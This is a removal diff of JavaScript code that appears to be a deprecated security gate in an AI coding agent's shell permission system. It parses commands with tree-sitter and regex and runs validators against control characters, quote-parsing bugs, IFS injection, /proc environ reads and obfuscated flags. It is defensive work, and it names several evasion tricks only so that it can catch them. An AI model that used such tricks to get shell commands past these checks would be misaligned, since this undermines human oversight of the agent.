- // Fix: defer non-misparsing ask results. Continue running validators; if any
2091
- // misparsing validator fires, return THAT (with the flag). Only if we reach
2092
- // the end without a misparsing ask, return the deferred non-misparsing ask.
2093
- let deferredNonMisparsingResult = null;
2094
- for (const validator of validators) {
2095
- const result = validator(context);
2096
- if (result.behavior === 'ask') {
2097
- if (nonMisparsingValidators.has(validator)) {
2098
- if (deferredNonMisparsingResult === null) {
2099
- deferredNonMisparsingResult = result;
2100
- }
2101
- continue;
2102
- }
2103
- return { ...result, isBashSecurityCheckForMisparsing: true };
2104
- }
2105
- }
2106
- if (deferredNonMisparsingResult !== null) {
2107
- return deferredNonMisparsingResult;
2108
- }
2109
- return {
2110
- behavior: 'passthrough',
2111
- message: 'Command passed all security checks',
2112
- };
2113
- }
2114
- /**
2115
- * @deprecated Legacy regex/shell-quote path. Only used when tree-sitter is
2116
- * unavailable. The primary gate is parseForSecurity (ast.ts).
2117
- *
2118
- * Async version of bashCommandIsSafe that uses tree-sitter when available
2119
- * for more accurate parsing. Falls back to the sync regex version when
2120
- * tree-sitter is not available.
2121
- *
2122
- * This should be used by async callers (bashPermissions.ts, bashCommandHelpers.ts).
2123
- * Sync callers (readOnlyValidation.ts) should continue using bashCommandIsSafe().
2124
- */
2125
- export async function bashCommandIsSafeAsync_DEPRECATED(command, onDivergence) {
2126
- // Try to get tree-sitter analysis
2127
- const parsed = await ParsedCommand.parse(command);
2128
- const tsAnalysis = parsed?.getTreeSitterAnalysis() ?? null;
2129
- // If no tree-sitter, fall back to sync version
2130
- if (!tsAnalysis) {
2131
- return bashCommandIsSafe_DEPRECATED(command);
2132
- }
2133
- // Run the same security checks but with tree-sitter enriched context.
2134
- // The early checks (control chars, shell-quote bug) don't benefit from
2135
- // tree-sitter, so we run them identically.
2136
- if (CONTROL_CHAR_RE.test(command)) {
2137
- logEvent('tengu_bash_security_check_triggered', {
2138
- checkId: BASH_SECURITY_CHECK_IDS.CONTROL_CHARACTERS,
2139
- });
2140
- return {
2141
- behavior: 'ask',
2142
- message: 'Command contains non-printable control characters that could be used to bypass security checks',
2143
- isBashSecurityCheckForMisparsing: true,
2144
- };
2145
- }
2146
- if (hasShellQuoteSingleQuoteBug(command)) {
2147
- return {
2148
- behavior: 'ask',
2149
- message: 'Command contains single-quoted backslash pattern that could bypass security checks',
2150
- isBashSecurityCheckForMisparsing: true,
2151
- };
2152
- }
2153
- const { processedCommand } = extractHeredocs(command, { quotedOnly: true });
2154
- const baseCommand = command.split(' ')[0] || '';
2155
- // Use tree-sitter quote context for more accurate analysis
2156
- const tsQuote = tsAnalysis.quoteContext;
2157
- const regexQuote = extractQuotedContent(processedCommand, baseCommand === 'jq');
2158
- // Use tree-sitter quote context as primary, but keep regex as reference
2159
- // for divergence logging
2160
- const withDoubleQuotes = tsQuote.withDoubleQuotes;
2161
- const fullyUnquoted = tsQuote.fullyUnquoted;
2162
- const unquotedKeepQuoteChars = tsQuote.unquotedKeepQuoteChars;
2163
- const context = {
2164
- originalCommand: command,
2165
- baseCommand,
2166
- unquotedContent: withDoubleQuotes,
2167
- fullyUnquotedContent: stripSafeRedirections(fullyUnquoted),
2168
- fullyUnquotedPreStrip: fullyUnquoted,
2169
- unquotedKeepQuoteChars,
2170
- treeSitter: tsAnalysis,
2171
- };
2172
- // Log divergence between tree-sitter and regex quote extraction.
2173
- // Skip for heredoc commands: tree-sitter strips (quoted) heredoc bodies
2174
- // to nothing while the regex path replaces them with placeholder strings
2175
- // (via extractHeredocs), so the two outputs can never match. Logging
2176
- // divergence for every heredoc command would poison the signal.
2177
- //
2178
- // onDivergence callback: when called in a fanout loop (bashPermissions.ts
2179
- // Promise.all over subcommands), the caller batches divergences into a
2180
- // single logEvent instead of N separate calls. Each logEvent triggers
2181
- // getEventMetadata() → buildProcessMetrics() → process.memoryUsage() →
2182
- // /proc/self/stat read; with memoized metadata these resolve as microtasks
2183
- // and starve the event loop (CC-643). Single-command callers omit the
2184
- // callback and get the original per-call logEvent behavior.
2185
- if (!tsAnalysis.dangerousPatterns.hasHeredoc) {
2186
- const hasDivergence = tsQuote.fullyUnquoted !== regexQuote.fullyUnquoted ||
2187
- tsQuote.withDoubleQuotes !== regexQuote.withDoubleQuotes;
2188
- if (hasDivergence) {
2189
- if (onDivergence) {
2190
- onDivergence();
2191
- }
2192
- else {
2193
- logEvent('tengu_tree_sitter_security_divergence', {
2194
- quoteContextDivergence: true,
2195
- });
2196
- }
2197
- }
2198
- }
2199
- const earlyValidators = [
2200
- validateEmpty,
2201
- validateIncompleteCommands,
2202
- validateSafeCommandSubstitution,
2203
- validateGitCommit,
2204
- ];
2205
- for (const validator of earlyValidators) {
2206
- const result = validator(context);
2207
- if (result.behavior === 'allow') {
2208
- return {
2209
- behavior: 'passthrough',
2210
- message: result.decisionReason?.type === 'other' ||
2211
- result.decisionReason?.type === 'safetyCheck'
2212
- ? result.decisionReason.reason
2213
- : 'Command allowed',
2214
- };
2215
- }
2216
- if (result.behavior !== 'passthrough') {
2217
- return result.behavior === 'ask'
2218
- ? { ...result, isBashSecurityCheckForMisparsing: true }
2219
- : result;
2220
- }
2221
- }
2222
- const nonMisparsingValidators = new Set([
2223
- validateNewlines,
2224
- validateRedirections,
2225
- ]);
2226
- const validators = [
2227
- validateJqCommand,
2228
- validateObfuscatedFlags,
2229
- validateShellMetacharacters,
2230
- validateDangerousVariables,
2231
- validateCommentQuoteDesync,
2232
- validateQuotedNewline,
2233
- validateCarriageReturn,
2234
- validateNewlines,
2235
- validateIFSInjection,
2236
- validateProcEnvironAccess,
2237
- validateDangerousPatterns,
2238
- validateRedirections,
2239
- validateBackslashEscapedWhitespace,
2240
- validateBackslashEscapedOperators,
2241
- validateUnicodeWhitespace,
2242
- validateMidWordHash,
2243
- validateBraceExpansion,
2244
- validateZshDangerousCommands,
2245
- validateMalformedTokenInjection,
2246
- ];
2247
- let deferredNonMisparsingResult = null;
2248
- for (const validator of validators) {
2249
- const result = validator(context);
2250
- if (result.behavior === 'ask') {
2251
- if (nonMisparsingValidators.has(validator)) {
2252
- if (deferredNonMisparsingResult === null) {
2253
- deferredNonMisparsingResult = result;
2254
- }
2255
- continue;
2256
- }
2257
- return { ...result, isBashSecurityCheckForMisparsing: true };
2258
- }
2259
- }
2260
- if (deferredNonMisparsingResult !== null) {
2261
- return deferredNonMisparsingResult;
2262
- }
2263
- return {
2264
- behavior: 'passthrough',
2265
- message: 'Command passed all security checks',
2266
- };
2267
- }